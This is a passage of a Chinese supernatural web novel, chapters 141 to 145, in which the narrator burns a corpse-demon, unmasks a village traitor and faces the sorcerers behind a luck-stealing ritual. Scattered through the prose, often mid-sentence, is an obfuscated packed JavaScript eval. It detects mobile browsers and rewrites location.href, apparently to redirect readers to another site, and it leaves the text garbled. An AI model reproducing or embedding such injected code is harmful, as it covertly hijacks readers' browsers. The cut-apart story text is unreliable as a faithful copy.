我对桃元的威力相当满意,老蝙蝠则洋洋自得地说,“怎么样老大,当初让你取桃元,没坑你吧?” 它确实没坑我。 尸魃死气不是寻常手段可以压制的。 就算我再练上几年,也很难靠自己的力量来克制尸魃。 但有了桃元木剑就不一样了。 四转雷击木蕴含着极为狂暴的雷威,专门压制邪秽。 正是靠着它,我才能轻松破阵。 老蝙蝠邀功道,“这都是我的功劳,桃元也是我帮你找你。” “知道了,你也不用每次都提醒我吧。”我无语地甩头,运转真气,将桃元气息打进那口棺材。 尸魃的邪气没能抵抗太久,便彻底散掉了。 我不打算拖延,马上将浮土清理干净,叫上老宋帮忙,一起掘开了棺木。 当棺材盖子被打开之后,下面是一具长了白毛的老脸荫尸。 尸体已经变异,没有腐烂迹象。 他可能是病死的,体型枯瘦如柴,两腮干瘪,眼窝也塌陷得厉害。 身上穿着藏青色的死人寿衣,当我用木剑挑开寿衣后,明显能看到尸体胸前绘满了养尸的符咒。 “没跑了,尸体不仅被人画了养尸符,还用生石灰覆盖,这妥妥就是人为。” 我深吸一口气,对僵在一旁的老宋说, “通知村民,就说你已经找到了尸魃,让他们准备荔枝树和桃树枝,尽快把尸魃烧掉。” 老宋不敢耽误,赶紧跑回村。 他前脚刚走,我马上感应到一股阴气袭来,树林内有一道红色的影子闪过,迅速扑向了我。 第141章 烧尸 “当心,是看守尸魃的鬼灵,又出现了。” 老蝙蝠比我更早发现这团阴气,马上提醒我一声。 “呵呵,等的就是你。”我当即旋转桃元,左手掐诀,作势要打出去。 阴气忌惮桃元散发的气息,不敢靠近。 我锁定鬼灵的位置,严阵以待。 对峙了几秒,老蝙蝠已经等不及了,怪叫一声说,“你负责处理尸魃,小鬼让我来!” 说完它就化作一道灰气,直扑鬼灵藏身的地方。 随着它扇动翅膀,发出一声充满兽性的咆哮。 鬼灵受惊,马上掉头跑路。 我这才看清,那居然是一只红衣女鬼,怪不得这老畜生这么积极。 “算了,以老蝙蝠的本事,对付一只怨鬼绰绰有余,随它去吧。” 我甩了甩头,把视线收回来,继续守着地上的尸魃。 棺材附近插着几根布满淤泥的长钉,我把它挖出来,在枯草上蹭掉稀泥,认出是四根六方钉。 六方钉有六个棱子,造型怪异,是专门用来压制地脉灵气的。 又过了几分钟,树林外出现十几道身影,老宋已经带着李村长赶到。 看着地上被掀开的棺盖,村民集体倒抽一口凉气。 李村长指着尸体说,“这个人是谁,我从来没见过,怎么他死后竟然被埋在我们村的祖陵附近?” 我解释说,“因为有人想掠夺你们村的灵脉,所以才炼制尸魃,把它葬在祖陵附近。” 村子之所以遭灾,是因为被尸魃抽走了的祖陵下的福荫。 李村长紧张地问,“那我们要怎么办?” 我说,“别紧张,只要用荔枝树把它烧了,尸魃对村子的影响就会消失。” 不过,龙口村的灵脉已经被掘断,就算烧了尸魃,村民也无法享受地下的福荫了。 现在最要紧的还是赶紧搞定尸魃,再找出这个算计村民的家伙。 在我的吩咐下,村民们马上散开,满世界找起了荔枝树。 我则陪村长往村子方向走。 路上我忽然问道,“村长,后山祖陵是什么时候开始塌陷的?” 李村长想了想,“大概是三年前吧。” 我点头说,“难怪,看来三年前就已经有人盯上你们村了。” 尸魃不是一天就能养成的,估计早在三年前就有人李代桃僵,把外面运来的尸体葬在祖陵附近。 尸体不断吞噬龙口村的地脉灵气,足足养煞三年,到了现在才出现端倪。 李村长恍然大悟,“我说呢,这几年大伙儿的运气越来越差,原来是有人在搞鬼!” 他气得咬牙切齿,问我能不能找出这个搞鬼的家伙,给村民一个交代。 我迟疑了下,自己本来不打算管闲事,只想帮村民解完尸毒就走。 只是这个背后做局的家伙把事情做的太狠了,只是窃取灵脉还不满足,甚至打算用尸毒害死整个村子的人。 简直丧尽天良。 大伯说过,要我多做好事积德,遇上这种事当然得管。 我点了下头,“先解决尸魃的事,后面再说。” 在村长的号召下,没多久村民们就看来大量荔枝树,并在村子中间搭建起了一个木台。 大家合力把棺材抬出来,搬上木架,浇上汽油点了。 被焚烧的尸魃散发出浓郁的尸气,黑云冲天,浓郁的尸臭味覆盖了整个龙口村。 望着被烧掉的棺材,所有人都长出了一口气。 我则找了个背风的地方抽烟,驱散这股尸臭。 半小时后,老宋和村长再次找来,问我接下来该怎么办。 我摆手让他们先不要着急,反问村长说,“三年前,你们村子来过奇怪的人吗?” 村长思考了很久,“有,是个风水师,他在村口转了几圈,直夸我们村的风水不错,还提出要去祖陵看一看。” 我挑眉说,“你答应了?” “没呢。” 村长摇头说,“祖陵下埋葬的是村民的祖先,又不是动物园的猴子,怎么能随便给人参观?” 在遭到村长拒绝之后,那个风水师倒也没说什么,只是呵呵怪笑一声,扭头便走了。 我又问,“那方圆十几里内,有没有出现过死人,或者比较有钱的大户人家办丧事?” 村长思考了好一会,继续摇头,“应该……没有吧。” 毕竟是三年前的事,村长已经记不清了。 我说,“有就是有,没有就是没有,别应该啊。” 村长苦笑着拍脑门,说自己年纪大了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752722|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,记性不太好,确实想不起来。 我说,“那你赶紧找个记性好的村民,让他挨家挨户去问,三年前,那个风水师出现前后,附近有没有大户人家办丧事?” 对方以尸魃做局,为的就是窃取龙口村气脉。 前提必须是家里出了死人。 活人摆不出尸魃阵,必须要直系亲属的尸体才可以。 村长马上照做,叫了几个年轻人询问。 老宋则蹲在我旁边抽烟,一脸讨好说,“小林,你果然厉害,怎么会想到给明叔打工的?” “别提了,怪我自己倒霉,被这个死奸商给算计了。” 不说这个还好,老宋一提起这茬,我就气得想骂娘。 要不是因为欠了明叔的钱,我哪能苦哈哈地给他当小弟? 又过了一会儿,棺材已经烧完了,等到那股尸臭味彻底消失,我才重新跑去查看。 被烧掉的尸体只剩下一堆灰色骨骸,我让村民找一个瓦瓮,把这些骨骸搜集起来,然后投进了村口的旱厕。 既然对方想用尸魃借运,我就把尸魃的骨灰丢进旱厕里。 到时候这家伙肯定会倒血霉,也算是一报还一报了。 处理完这些,李村长也带着消息找来了, “小哥,你估计得没错,在离我们村二十几里外,有个叫槐花村的地方,三年前有个大户家死了人。” 这家死人后并没有风光大葬,而是偷偷摸摸地处理掉家人的尸体。 至今也没人知道他们把尸体埋在了什么地方。 我坏笑着看了眼村口的旱厕,说现在不是知道了吗? 村长恶狠狠地说,“光是把他家人的骸骨丢进旱厕,可抵消不了我们村的损失,我决定了,明天就带人去那边要说法!” 我拦下村长,摇头说你现在去了人家也不会认,只是白费力气罢了。 其次,我还想到一件事。 那个大户究竟是怎么把家人的尸体运到龙口村,偷偷塞进祖陵下的? 李村长从不让外人接近祖陵,如果是陌生人,肯定做不到这一点。 听完我的分析,李村长当即就张大了嘴,“你的意思,是本村的人勾结那个大户,里应外合,才把尸体搬运进来的?” 我点头,说十有八九就是这样。 第142章 抓内奸 村长激动得跳脚,破口大骂,“究竟是哪个王八蛋吃里扒外,居然帮着外人算计我们村?” 这时候,村长身边走来一个人,凑到他耳边小声说了句什么。 村长惊愕道,“徐二娃?” 我马上问,“把话说清楚,这个徐二娃是什么人。” 村长说,“徐二娃的老娘是我们村的人,嫁出去二十几年后得病死掉,他无亲无故,只能回龙口村投奔亲戚。” 村长出于好心接纳了徐二娃,不仅给了他宅基地,还分配了几亩良田。 但这个徐二娃很不是东西,成天就知道烂嫖烂赌。 后来他在外面欠了高利贷,跑来村长家想要借钱。 可村长早就看透了这家伙的为人,表示分逼不借,为这事徐二娃还跟村长吵了一架。 我一拍大腿,“去徐二娃家里看看,出卖村子的人多半就是他们。” 这家伙是外乡人,混不下去了才跑来投奔龙口村,对村里没有任何感情。 其次他家庭窘迫,还欠了不少外债。 或许是为了凑钱还债,才会伙同外人干出这么混账的事。 很快,我们就在村长的带领下来到了徐二娃家。 眼前是一栋破破烂烂的茅草屋,连墙头都是歪斜的。 村长一脚踹开大门,这大门根本不经撞,连着门框一起倒下去。 灰尘四起,我和老宋都忍不住捂起了鼻子。 这家主人也太邋遢了,大门坏了都舍不得修,一脚就能踹飞。 得懒成什么样? 门一塌,屋子里马上蹦出一个脸上长着烂疮,头发上全是虱子的男人, “你麻痹……谁管踹我家门?” 来人估计就是徐二娃了。 这家伙年纪不大,也就三十出头,可穿的流里流气很邋遢,脸上全是癞子,浑身散发着馊臭的味道,估计好几个月没洗澡了。 我捂着鼻子连退好几步,生怕沾上他这一身霉运。 “咦,村长,怎么是你啊?”发现踹门的人是李村长,徐二娃这才不骂了,抽了抽鼻子, “你干嘛踹我家大门?吓死我了,赔钱!” 我和老宋都哭笑不得,一眼便看出这个徐二娃是个泼皮无赖。 李村长虎着脸说,“陪钱?你想的可真美,我今天是带着村民来找你算账的。” “算什么账,我做什么了我?” 徐二娃把脖子一缩,看着村长身后那一帮恨不得把后槽牙咬出血的村民,顿时心虚得要退回去。 “别走!” 一个村民眼疾手快,冲上去揪住徐二娃的领口,左右开弓啪啪就是两记耳光。 徐二娃被打的晕头转向,跟个泼皮一样倒在地上打滚, “杀人啦,村长带头欺负外姓人啦……” “你鬼嚎什么!”李村长气不过,上去对着他肚子就是哐哐两脚。 徐二娃这才意识到事情的严重性,看着全村人那要杀人的目光,打了个哆嗦道,“你们别胡来,村里的事跟我没关系,不是我干的。” “我们有说过是为了村里的事情来找你吗?” 李村长虽然年纪大了,可人不傻,马上就捕捉到他话里的漏洞。 徐二娃意识到自己失言,仍旧死不认账,“我什么都没干过,你们没证据,可不能冤枉好人。” “你要证据是吧,我这就找出来给你看,大家进屋搜!” 李村长平时威望很高,一声令下,全村人都冲进徐二娃家里翻箱倒柜。 几分钟后,有村民抱着一个瓦罐走出来。 当着众人的面,村民把瓦罐狠狠丢在地上。 哐当一声,瓦罐炸成了碎片。 滚出好几叠百元大钞,以及散落的钢镚。 正常人看到这一幕,估计早就爬起来找村民拼命了。 可徐二娃却耸着脸,面如死灰,不敢和村长对视。 村长捡起地上的钞票,用力甩在他脸上,“你一个日嫖夜赌的烂酒鬼,三年前欠了高利贷,差点被逼得剁手,这些钱是怎么来的?” 徐二娃嘴唇发白,硬着头皮说,“我,做生意赚的不行吗?” 村长气笑了,撸袖子招呼村民给他来点恨的。 这种人是典型的不见棺材不掉泪,非打到他亲妈都不认识才肯说实话。 眼看所有村民都围上来,就算一人一拳医好了也是扁的,徐二娃终于害怕了,扑腾一声给村长跪下,痛哭流涕,边扇自己耳光边求饶, “村长我错了,你就当个屁把我放了吧!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752723|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在村长的厉声呵斥下,徐二娃终于说了实话。 尸魃确实是他偷偷背回来,趁着村民不注意,偷埋在祖陵下的。 他打牌欠了很多外债,正愁还不上钱的时候,债主却给了他一个机会,告诉他只要背一具尸体进村,把尸体偷埋在祖陵下面,债务就一笔勾销,还能白给十几万。 徐二娃本就对村民有气,毫不犹豫地答应下来。 事情总算是真相大白。 我就说嘛,如果没有内奸勾结,外人怎么可能瞒着村民布置尸魃阵? 关于怎么处置徐二娃的事,我没有参与,这是人家村子的内部问题。 甭管是浸猪笼还是下油锅,都是这孙子的报应。 我真正关心的还是那个背后布阵的人,如果不能把他找出来,恐怕村子里的事情只会没完没了。 当天我就在龙口村住下了,直到日暮降临,老蝙蝠才懒洋洋地从后山方向飞过来。 我说,“让你对付个怨灵,怎么去了这么久?” 它直接把大字一摆,“那是个鬼仆,身后有人操控,爷花了好几个小时都没能追上,可累死爹了!” “你丫给谁当爹呢。”我抓着槐木牌要敲它,老蝙蝠一骨碌爬起来,挂在房梁上说, “你就知道叫我干活,周扒皮也没这么狠,我都饿一天了,头晕眼花怎么帮你抓鬼?” 我沉下脸说,“深山老林,我上哪儿给你弄吃的?” 老蝙蝠挥了挥小爪子,指着村长家后院说,“那不就有个鸡圈?我一早就发现了,好几只肥母鸡正在勾引我呢。” 我无语得要死,那是人家养的,没问过主人,怎么能用来孝敬它。 “也才不管那么多,干了这么多活都累死我了。”老蝙蝠是一点都不客气,一个猛子扎进鸡圈,哈哈大笑说, “肥母鸡们,爷可来了。” 顿时村长家后院一阵鸡飞狗跳,给我气得不行。 老宋也听到这边正在闻鸡起舞,匆忙抓了个犁耙跑过来,说怎么回事,是不是闹黄鼠狼了? 我搂着老宋往外走,“这狗曰的比黄鼠狼狠多了,你别招惹它。” 老宋虽然没见过老蝙蝠,但他知道我身上藏了东西,而且还挺厉害,识趣的假装什么也没看见。 第143章 臭流氓 祸害完那群老母鸡后,老蝙蝠终于心满意足了,打着饱嗝找我商量正事。 之前它消失了好几个小时,可不是为了进山打野,而是替我办正事去了,“我一直跟踪那个鬼仆,绕了好十几里,总算在一栋老宅子里有了发现。” 鬼仆的主人就住在那栋宅子里。 我马上说,“这么说你是去槐花村了?” 老蝙蝠点点头,“当然,爷没有直接对鬼仆下手,是为了防止打草惊蛇。” 不过我们烧尸魃的时候,对方请来的法师已经有所感应,如果我们不主动出击的话,说不准别人就会找上门。 我说,“那你还认识路吗?” 老蝙蝠很笃定地说,“认识。” 好,事不宜迟,我当即就准备行动,把这个布置尸魃阵的家伙揪出来。 可到了要出发的时候,老蝙蝠却挂在房梁上不肯走。 我骂道,“你怎么回事,刚吃饱就犯困了?” 它抠着鼻孔说,“爷不是犯困,只是提醒你要想清楚,去了就要动手,不管是输是赢,肯定会结下大梁子。” 我迟疑了一下,思来想去,还是硬着头皮跺脚说,“干了!” 如果我现在就撒手不管,确实可以省去很多麻烦。 但龙口村的村民可就惨了。 那些中了尸毒的村民还没痊愈,对方肯定会故技重施,继续打他们的主意。 出发前我找到李村长,表示天亮后会给他一个交代。 村长不太放心,问我要不要多找几个帮手,一起去要说法。 我拒绝了,术士斗法,拼的是精神念力,去的人多了反而容易坏事。 老宋也想跟着去,同样遭到我的婉拒,不是信不过他,主要是老宋已经染过一次尸毒,没这么快恢复,根本就没有动手能力。 夜已深,我在老蝙蝠的带领下摸黑潜行。 十几里山路并不好走,路上足足磨蹭了三个小时。 我走得两脚都快磨出泡了,苦笑一声,这英雄果然不是那么好当的。 老蝙蝠盘旋在头顶嘲笑说,“煞笔了吧,爷会飞,你又不会,现在后悔还来得及。” 我说来都来了,后悔个鸡毛,自己答应过会给村长一个说法,就必须办到。 “爷很欣赏你的毅力,可你揽活的方式,爷不喜欢。” 老蝙蝠挖着鼻孔提醒我,能够布置出尸魃阵的人绝对不是简单货色。 根本犯不上为了一帮不认识的村民出头。 我却不这么想,一本正经道,“你应该知道我是七煞命,注定会受三灾九劫。” 大伯说过,七煞命很麻烦,唯一的解法就是多行善举,什么时候攒够了福报,才能躲得过命里的灾劫。 我这么做不是为了当英雄。 更何况做好事会让我产生快感,人这辈子,活的就是一个率性而为。 不是吗? “嘿嘿,你有你的道理,爷不跟你争,既然选了这条路,那就走下去吧。” 别看老蝙蝠平时很不着调,但到了节骨眼上,却总能坚定地站在我身边。 这时候潜意识里也传来一道浅笑,“嗯,不错,总算有了点林家后人的影子。” 我一听这话就吓得打哆嗦,刚才的豪言壮语全没了,下意识夹紧了裤裆, “大姐,你这个时候出来干嘛?今天可不是十五月圆。” 落花洞女慵懒地说,“姑奶奶睡太久了,醒来透个气,你有意见?” 我急忙说不敢,您忙您的,咱们井水不犯河水。 老蝙蝠却贱兮兮地飞过来,把小爪子搭在我肩上说,“美女,你醒得正是时候,这次要对付的人来头不小,我们正缺帮手呢。” 落花洞女嫌弃道,“拿开你的脏爪子,别乱摸!” 老蝙蝠没脸没皮说,“我摸他又没摸你,再说了,这身体是我老大的,你只是暂住而已。” 自从元神有所恢复之后,老蝙蝠的胆子也变大了不少。 以前只要感应到落花洞女的气息,马上就跟耗子见了猫一样,恨不得把脑袋埋在地上装鸵鸟。 现在却敢主动调侃着大姐。 落花洞女哼道,“老畜生,你是欺负我出不来,没办法揍你是吧?” “哎呀,大家都这么熟了,干嘛一上来就吵着要打架?” 它贱笑说,“其实增进感情的方式有很多种啦,你看今晚月亮多圆,要是能钻进苞米地里干点啥,那得多带劲?” “滚粗,你个臭流氓!” 这次不仅落花洞女骂它,连我都忍不住翻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752724|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个白眼。 狗曰的,没了肉身还这么色。 不知道霍霍过多少黄花大闺妖。 不过我和落花洞女也懒得理它,狗改不了吃屎,迟早有一天会翻跟头。 到地方后,我们不急着动手。 老蝙蝠指了个地方,让我蹲在树荫下观察情况。 借助它的兽眼,我能看清楚老宅里面的环境。 这是一栋很大的宅院,夜半三更,屋里却点着灯。 一个五十多岁的中年男人,正愁眉不展地坐在椅子上。 看面相,这家伙是个很富态的人,估计就是盯上龙口村气运的雇主了。 中年人身边坐着一个沉默寡言的家伙,身材比较高大,面容冷峻,正在劝说雇主不要往心里去, “龙老爷,这次夺运失败,确实很出乎我的意料,不过你别担心,我已经请了高人过来,会重新帮你布置一个煞局,把龙口村剩下的气运统统抢过来。” “别往心里去?感情被烧的不是你爹!老周,你记不记得当年是怎么跟我保证的。” 中年胖子怒道,“你说过,只要把我爹练成尸魃,就能轻而易举夺走龙口村的气运,让我家飞黄腾达。” “可现在呢,不仅我爹的尸骨被人挖出来,还被人用荔枝树给点了。” 尸魃被毁,之前积攒的气运也会逐渐消失。 等于这三年布局都白干。 被称为老周的人咳嗽了一声,“怪我考虑不周,没想到他们会请人破局。” 龙老爷哼道,“别找理由,赶紧想办法补救。” 老周说,“放心,我用鬼仆调查过,破阵的小子虽然能力不错,但绝对不可能是高人的对手。” 高人一到,他们就能卷土重来。 这次不仅要夺走龙口村的气运,甚至连我也要一起收拾。 龙老爷唉声叹气,“你说得轻巧,可我爹已经被那小子用荔枝树烧了。” 就算重新布阵,也得换一种方式。 毕竟龙老爷实在找不出另一个爹了。 两人坐在房间窃窃私语,商量接下来该怎么办。 老蝙蝠没了耐心,直接飞回来,挂在我旁边说,“他们请了帮手,看样子来头不小,咱们最好抓紧时间,趁帮手赶来之前行动。” 第144章 有暗器 确定好计划之后,我们马上分头行动。 老蝙蝠绕后,我从前门翻进去。 里面的人比较警惕,我刚现身,那个老周就听到动静站起来,一脸戒备地跑出房间。 我大大咧咧地站在院里,说不用这么麻烦,你们不是要找我吗,爷主动送上门了。 “你居然能找到这儿?”老周的眉毛挑了下,他身边的龙老爷则变得一脸紧张,居然转身就想跑。 可龙老爷这一回头,黑暗中却闪过一道灰色的影子,直接堵住了后门。 老蝙蝠直接显化出来,倒挂在横梁上笑嘻嘻地说,“老小子,你去哪儿?” 龙老爷大为惊骇,吓得靠墙站好,一个屁都不敢放。 老周脸上的表情却显得丰富多彩,深深看了眼老蝙蝠,脸上一阵青、一阵白,“原来你豢养了一头妖灵,怪不得能找到我。” 我打了个哈欠说,“若要人不知除非己莫为,你干出这种事,早晚会被人发现。” 老周哼道,“少废话,你个毛都没长齐的臭小子,竟然管起了大爷的闲事,来得正好,我正要跑去找你呢!” 他从怀里掏出一个玉符,狠狠掐在手上,顿时有一股阴风汇聚起来。 老周面前直接显化出一道暗红色的鬼影子,正是之前偷窥我们的鬼仆。 怨鬼级别的灵体,在我看来没有半点威胁,马上笑笑说,“这就是你的底牌?驴屎球子表面光,看来能力也不怎么样嘛。” 我并不是在大言不惭,经过这半年的历练,我的进步已经很快了。 虽然算不上登堂入室,最起码也有了一定的对敌底气。 这个老周看起来并不是特别厉害,我有信心能够应付。 老周却哈哈大笑,说小子,你经验太浅了,根本看不出眉眼高低,我的鬼仆可不像表面这么简单。 “是吗,那就试试看!” 我不想跟他啰嗦,摆开架势冲上去。 那位龙老板还想掏出手机打电话叫帮手,却不料老蝙蝠忽然飞过去制止,“江湖事江湖了,牵扯到其他人就不好了,你给我老实点,不然爷吃了你!” 因为嗓门大,老蝙蝠有点破音。 它硬是把这句话整成了老太监上朝的感觉。 龙老板看起来也是见过大世面的人,虽然很害怕,但表面还算镇定,居然用商量的口吻说, “龙口村的人到底给你们多少钱,我出双倍,好不好?” “爷看起来是那种贪财的妖吗?”老蝙蝠一脸不屑。 对它来说,世间的金银财宝和粪土没什么区别。 再多钱都比不上村长圈里那几只老母鸡。 这时候我和老周已经交上手了。 老周反应不满,不等我冲上去,就怪叫一声,把玉符高举起来念咒。 红裙鬼仆变成一道光,围绕他身边转圈,形成一股煞气龙卷。 “这是什么法决?”我有点吃惊,动作慢了半拍。 他趁机双脚往地上一跺,把玉符贴在胸口,大声诵念道,“太上三清、疾火玄兵,魑魅魍魉,速速化形,去!” 随着一道符印打出,玉符上的女鬼直接显化,居然变成一道身高超过两米的红色虚影。 “是五鬼咒,小心。” 老蝙蝠虽然玩世不恭,但关键时候还是蛮谨慎的,感应到老周的咒印威力,马上操着破锣嗓子提醒我。 我急忙掏出桃元,咬破中指画符,把木剑举起来摆出防御动作。 红裙女鬼的身影还在不停膨胀,被我用桃元一戳,跟个鼓起的皮球一样嗤嗤漏气。 这倒不是因为对方太弱,而是桃元木剑本就是专门用来对付邪煞的。 只要是带着煞气的东西,都会受到克制。 老周一击落空,表情变得更加谨慎了,“小子,大路朝天各走一边,我跟你没错,没必要往死里磕吧。” 我冷笑道,“可你们动用邪术害人,就是不对,既然被我撞破了,就必须管!” “找死!” 老周被我的态度刺激到了,直接咬破舌尖,一口舌尖血喷洒在玉符上。 他的玉符很奇怪,似乎能够吸收主人的精血。 那一口舌尖血肉眼可见地融入玉符,刹那间上面居然迸发出一道血光。 血光倒灌,直接融入红裙女鬼体内,她的身体膨胀得很厉害,头发犹如刺猬般竖起,一根根绷得笔直。 “这是你自己找死,别怪我下黑手。” 老周掐完一个咒诀,一股念力集中在鬼仆上。 她的手臂变得无比凝视,好像山一样朝我压过来。 上面鬼气森森,犹如实质般的风暴。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752725|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我头皮一麻,这才意识到自己小看对手了。 鬼仆算不上厉害,但经过那面玉符的加持,阴气却在不断膨胀。 一开始只是黑眼级别的怨鬼,此刻却变成了红眼厉鬼。 但我依然不怕,木剑挽出一道剑花,不闪不避地朝前一刺。 不管你的法咒有多花哨,我都遵守一个本能,一力降十会。 桃元木剑的阳煞气息被彻底激活。 一股真气暴走,刺中女鬼的手掌。 剑锋入肉,把她刺得对穿。 “啊……”女鬼一声尖叫,扛不住这股阳煞气息,被逼得节节败退。 老周气得跺脚,指着我大骂,“臭小子,要不是仗着法器,你未必是我对手。” “能得到这样的法器也是我的本事,有好的为什么不用?” 我冷笑一声,哥们可不是迂腐的人,彻底激活了木剑的阳煞之气。 逼退鬼仆的同时,我再次冲向老周。 他手上的玉符不简单,应该就是通过那玩意增强鬼仆的能力。 只要我把它碎掉,问题就迎刃而解了。 老周看穿了我的心思,马上收起玉符,对我挥动起了拳头。 这家伙不仅能控制鬼仆,身手也不错,拳头被挥舞得呼呼带风,很有威慑力。 桃元只对灵体有效果,毕竟是木质的,就算戳在他身上也起不了决定性作用,还有损伤的可能。 我也赶紧把桃元收起来,沉腰坐马,和他面对面拼拳。 砰! 两只拳头狠狠撞在一起,我下腰一沉,稳住了重心。 老周则被我的拳劲震得后退两步,一脸吃惊道,“你小子身上居然有股这么邪门的真气!” 练武不练功,到老一场空。 这些日子我除了研究法咒,对内息的调理也一刻都没落下。 刚好今天有机会,就拿这个老周当磨刀石。 “是你自己太没用了,再试试这个!” 趁他惊愕的时候,我已经扫出一道鞭腿,眼看就要命中目标,耳边却忽然传来老蝙蝠的提醒, “有暗器,快闪开。” 嗯? 几乎是出于本能,我在听到老蝙蝠的话之后,马上趴在地上。 同时头顶一片黑砂笼罩,好像乌云般缠向我。 第145章 偃旗息鼓 谁特娘的再对我下黑手? 我很确定,这些黑砂绝对不是出自老周的手笔。 应该是这里出现了另一个高手,趁我和老周交手的时候搞偷袭。 眼看那把黑砂即将盖住我,我不得不狼狈地翻滚,险险地避开了。 “居然是尸精,好毒的手法。”老蝙蝠如临大敌,赶紧从侧面飘出来,挡在我面前。 黑砂随风飘起,继续笼罩过来。 老蝙蝠猛地张开嘴,一股妖气喷发,形成狂风吹散了周围的黑砂粉末。 粉末落在地上,居然发出嗤嗤的腐蚀声,看似坚固的青砖居然被腐蚀出一个个窟窿。 这东西简直比王水还要可怕! 落花洞女的声音也在耳边响起,“小心点,尸精是通过腐烂后的尸体,经过特殊的手法提炼出来的,任何活物沾上它都不会好受。” 我狼狈地爬起来,却见对面的老周发出一声狞笑, “我的帮手终于到了,小子,你受死吧。” “哼,帮手到了又怎么样,藏头露尾躲起来不敢见人,估计也不是什么正经人。” 我刚要反唇相讥,就听到房梁上传来一声讥笑,“我可没藏头露尾,是你自己没发现劝我而已。” 突然来临的声音让我惊了一下,赶紧抬头看向房顶。 当我看清楚来人是谁的时候,顿时更惊讶了。 这不是小孩哥王佳吗? 几个月前,我为了帮老蝙蝠躲雷劫,去湘西王家找尸丹。 第一个遇上的人就是王佳。 这家伙得了侏儒症,表面看起来也就七八岁,身高不到一米二,上公交车都不需要买票。 后来我才知道,王佳的真实年纪比我还要大不少。 一直都在扮猪吃老虎。 我凝视着王佳,满脸大写的惊讶,“你为什么会在这里?” 王佳站在房顶上,居高临下看着我说,“这个问题我也想问,我没得罪过你吧,为什么大老远老坏我们的事?” “你们的事……” 我心里咯噔一下,看了看面露得意的老周,有看了看王佳,迅速把脸沉下来。 感情老周说的帮手,就是他。 事情有点棘手,我没想到会在这里遇上王佳。 更没想到会跟他站在对立面。 虽然上次接触的时候,我就看出王佳不是什么好人,可我毕竟通过他拿到了一枚尸丹。 也算欠了一个人情。 王佳背着双手,布满童稚的脸上却呈现出一抹邪笑,“林峰,你进步很大啊,比起上次见面的时候居然厉害了不少嘛。” 我深吸一口气,“你过奖了,说到厉害,哪比得上你?” 这家伙懂得布置尸魃阵,能力很不简单,虽然外表是个小孩,可带给我的压力却很强。 王佳撇嘴说,“可惜,我花这么久布置的尸魃阵,还是被你破了。” 我没有接话,表面看来,我破了王佳的尸阵,似乎占优。 可破阵一半靠老蝙蝠指点,一半靠桃元的阳煞之力。 如果缺少了外物的加持,我绝不可能轻松破阵,这并不能证明我比王佳厉害。 老蝙蝠听得很不耐烦,挥爪子打断我们,“到底还要不要打,给个痛快话。” 我还是不说话,抬头看向王佳。 王佳也在看我,居高临下,眼神中充斥着神秘的俯视感,摇头说,“林峰,你真不该管这件事。” 我指着龙老爷说,“我也不想管,可你为了帮他夺运作法害了这么多人,难道要我袖手旁观?” “他?” 王佳不屑地勾起嘴角,摇头说你误会了,“这个姓龙的只是一个土财主、暴发户,根本请不动我,我做这些事还有其他原因。” 我说,“那是什么原因,方便告诉我吗?” “不方便!” 王佳扬起嘴角邪笑说,“你太喜欢管闲事了,这不是个好习惯。” 不过看在上次的份上,王佳并不打算跟我动手。 撂下这句话之后,他对老周递去了一个眼神,示意后者跟自己走。 老周很疑惑,“吃了这么大个亏,就这样走了?” “我还有更重要的事情要办,没必要跟这小子耗下去。” 王佳摇摇头,再次瞥了我一眼,玩味道,“而且这小子身上有古怪,死磕起来恐怕我们也占不到好处。” 接着他又深深看了我一眼,“林峰,这次的事就这么算了,但最好不要再有下次,否则就别怪我不讲情面了。” 他踩在屋顶上,双腿一蹬,轻飘飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 